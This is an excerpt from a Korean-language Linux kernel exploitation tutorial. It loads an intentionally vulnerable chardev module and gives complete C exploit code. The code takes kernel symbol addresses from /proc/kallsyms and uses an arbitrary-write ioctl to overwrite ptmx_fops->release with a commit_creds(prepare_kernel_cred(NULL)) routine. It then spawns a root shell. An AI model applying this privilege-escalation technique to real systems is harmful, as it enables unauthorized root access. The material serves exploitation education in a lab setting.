...
| Code Block | ||
|---|---|---|
| ||
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ sudo insmod ./chardev.ko lazenca0x0@ubuntu:~/Kernel/Exploit/www$ sudo chmod 666 /dev/chardev0 lazenca0x0@ubuntu:~/Kernel/Exploit/www$ |
...
Proof of Concept
PoC code
취약성을 확인하기 위해 test.c를 사용하며, 기능은 다음과 같습니다.
"/dev/chardev0" 디바이스 파일을 열어서, ioctl함수를 이용하여 "IOCTL_WWW" 매크로를 호출합니다.
- 해당 매크로에 전달된 인자 값은 다음과 같습니다.
- arg.ptr = 0x4141414141414141
- arg.value = 0x4242424242424242
- 0x4141414141414141 영역에 0x4242424242424242 값을 덮어서 쓸 수 있는지 확인하려고 합니다.
...
| Code Block | ||||
|---|---|---|---|---|
| ||||
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include "chardev.h"
#define DEVICE_FILE_NAME "/dev/chardev0"
void *(*prepare_kernel_cred)(void *) ;
int (*commit_creds)(void *) ;
unsigned long *ptmx_fops_release;
void *kallsym_getaddr(char *name)
{
FILE *fp;
void *addr;
char sym[512];
fp = fopen("/proc/kallsyms", "r");
while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) {
if (strcmp(sym, name) == 0) {
break;
}else{
addr = NULL;
}
}
fclose(fp);
return addr;
}
void get_root()
{
commit_creds(prepare_kernel_cred(NULL));
}
int main()
{
int fd;
int ret_val;
void *ptmx_fops;
struct ioctl_www_arg arg;
//Find the address of "prepare_kernel_cred()"
prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");
if(prepare_kernel_cred == 0)
{
printf("failed to get prepare_kernel_cred address\n");
return 0;
}
//Find the address of "commit_creds()"
commit_creds = kallsym_getaddr("commit_creds");
if(commit_creds == 0)
{
printf("failed to get commit_creds address\n");
return 0;
}
printf("prepare_kernel_cred = %p\n", prepare_kernel_cred);
printf("commit_creds = %p\n", commit_creds);
//Find the address of "static struct file_operations ptmx_fops"
ptmx_fops = kallsym_getaddr("ptmx_fops");
printf("ptmx_fops = %p\n", ptmx_fops);
ptmx_fops_release = ptmx_fops + sizeof(void *) * 13;
fd = open(DEVICE_FILE_NAME, 0);
if (fd < 0) {
printf("Can't open device file: %s\n", DEVICE_FILE_NAME);
return 0;
}
//Overwrite the "ptmx_fops → release" area
arg.ptr = ptmx_fops_release;
arg.value = (unsigned long)get_root;
ret_val = ioctl(fd, IOCTL_WWW, &arg);
if (ret_val < 0) {
printf("ioctl failed: %d\n", ret_val);
return 0;
}
close(fd);
//open /dev/ptmx and call ptmx_fops->release() via close()
fd = open("/dev/ptmx", 0);
close(fd);
printf("getuid() = %d\n", getuid());
execl("/bin/sh", "sh", NULL);
} |
...